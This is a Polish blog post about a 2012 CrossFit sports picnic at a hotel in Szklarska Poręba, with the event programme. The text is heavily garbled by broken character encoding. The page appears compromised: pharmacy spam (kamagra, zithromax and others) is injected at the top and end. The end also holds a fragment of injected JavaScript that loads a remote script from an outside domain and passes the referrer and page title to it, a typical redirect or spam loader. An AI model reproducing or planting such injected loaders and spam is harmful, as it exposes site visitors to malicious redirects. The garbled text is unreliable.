Crossfit-fizjologiczne piekAi??o :)- sportowy piknik

3.10.2012 / Mariusz Cieśliński

Cheap Cheap http://www.bmamediators.nl/2018/npxl-cheap/ Crossfit Szklarska PorAi??ba,Hotel Bornit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! what is the generic name for cozaar

W sobotAi?? odbyAi?? siAi?? piknik sportowy w Szklarskiej PorAi??bie.SkorzystaAi??em ze wszystkich warsztatA?w sportowych.DzieAi?? byAi?? ciAi??A?ki ale bardzo szybko minAi??Ai?? na ciAi??A?kiej ekstremalnie pracy.

Moim zawodnikom zafundowaAi??em debiut na CROSSFIT.Jeden z nich zrobiAi?? 5(!) workout’A?w.Do dziAi?? siAi?? ledwie rusza :).

WidaAi??,A?e dla debiutantA?w byAi?? to tytaniczny wysiAi??ek.

Ai??eby podkrAi??ciAi?? adrenalinAi?? wszyscy uczestniczyliAi??my pod okiem lekkoatletA?w (biegaczy) w biegu przeAi??ajowym na 800 metrA?w na trasie przez nich wczeAi??niej wytyczonej.Trasa ciAi??A?ka,ponad poAi??owa dystansu pod gA?rAi??,krAi??ta i wbrew pozorom dosyAi?? niebezpieczna-moA?na byAi?? przy braku uwagi wylecieAi?? poza trasAi?? na zbiegu :).Biegi byAi??y indywidualne i na czas.UdaAi??o mi siAi?? zrobiAi?? najlepszy czas dnia o 30 sekund lepszy od nastAi??pnego.Ale nie byAi??o to brane pod uwagAi?? do klasyfikacji generalnej-byAi??em jednym z organizatorA?w :)

Aswietnie przygotowana imreza,posiAi??ki dla wszystkich uczestnikA?w.Nagrody w postaci vouczerA?w na weekendowy pobyt w SPA Hotelu Bornit-ktA?ry goAi??ciAi?? uczestnikA?w pikniku sportowego.

Fotki sAi?? poniA?ej i filmik z imprezyAi?? jest linku na poczAi??tku mojego wpisu.

NastAi??pny dzieAi?? to peAi??ne lenistwo ale dopiero jak z rodzinkAi?? siAi?? udaliAi??my w gA?ry i skorzystaliAi??my ze sAi??oneczka.

 

PoniA?ej oficjalny program imprezy:

GAi??A?wnym celem organizowanej przez INTERFERIE imprezy jest zaproszenie do wziAi??cia udziaAi??u w zawodach z cyklu imprez

w sezonie 2012/2013.

ai??? Triathlon

ai??? Biegi przeAi??ajowe i biegi gA?rskie

ai??? GA?rskie BIKE MARATONY

ai???Narty

ai??? CrossFit

ai??? PAi??ywanie

W ramach cyklu proponujemy:

1. OrganizacjAi?? cyklu zawodA?w 2012/2013

2. Przygotowanie do zawodA?w (zgrupowania przygotowujAi??ce do sezonu i roztrenowanie), rehabilitacja na zakoAi??czenie sezonu letniego (jesieAi??)

3. Warsztaty MistrzA?w Sportu i konsultacje lekarskie

4. Odnowa biologiczna

PROGRAM PIKNIKU:

10.00-10.30 Przyjazd uczestnikA?w

10.00-10.30 Otwarcie pikniku ai??i?? przekazanie informacji dotyczAi??cej imprezy 10.00-10.30 przedstawienie MistrzA?w i idei Sportowego Pikniku oraz dyscyplin CROSSFIT, TRIATHLON, MTB

10.30-15.00 Ai??wiczenia na Ai??cieA?ce Mistrza ai??i?? prA?by na czas na Ai??cieA?ce ustawionej przez Mariusza CieAi??liAi??skiego Mariusz CieAi??liAi??ski ai??i?? wielokrotny Mistrz Aswiata w Boksie Tajskim, Kickboxingu, trener Kadry reprezentantA?w Polski w rA?A?nych dyscyplinach, specjalista od budowy wytrzymaAi??oAi??ci i siAi??y fizycznej, opiekun Kadry Narodowej Ai??uA?lowcA?w przedstawia PaAi??stwu filozofiAi?? CROSSFITU i korzyAi??ci z tego pAi??ynAi??ce

15.00-15.30 Dla Ai??miaAi??kA?w oficjalny trening pod okiem Mistrza Mariusz CiesliAi??skiego

10.30-16.30 Prezentacja profesjonalnego systemu treningowego Reebok CrossFit Fitness

ai??? Treningi dla najtwardszych i najbardziej wytrzymaAi??ych max 15 osobowych TEAMAi??W ( czas treningu 1 godzina) w Strefie DROP BOX

ai??? Trenerzy, instruktorzy Reebok CrossFit Fitness pokaA?Ai?? co to jest DROP BOX

12.00-14.00 Testowy przejazd po crossowej trasie rowerowej HUTA ai??i?? JAKUSZYCE ai??i?? HUTA Z instruktorem MTB (ok. 15 km podjazd i zjazd)

14.00-16.00 Testowy przejazd po crossowej trasie rowerowej HUTA ai??i?? JAKUSZYCE ai??i?? HUTA Z instruktorem MTB (ok. 15 km podjazd i zjazd)

10.30-11.00 Bieg z Mistrzem – Bieg crossowy na trasie ustawionej przez A?ukasza Grassa z Polskiej Akademii Triathlonu, dziennikarza TVN, Radio Tok FM pod fachowAi?? opiekAi?? Mistrza Polski w Biegach GA?rskich Dariusza Kruczkowskiego

11.00-16.00 Bieg crossowy na czas na trasie ustawionej przez A?ukasza Grassa z Polskiej Akademii Triathlonu, dziennikarza TVN, Radio Tok

16.00-17.00 Jak A?yAi?? zdrowo na sportowo ai??i?? ai??zCentrum Zdrowego MAi??A?czyznyai???, sport a zdrowie. Konsultacje, pytania, prezentacje.

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; } else { pills online order benzaclin online tamoxifen citrate 20mg kamagra oral jelly buy online. purchase Kamagra. kamagra jelly online. online ryan price avanade order zithromax online cheap feldene gel cost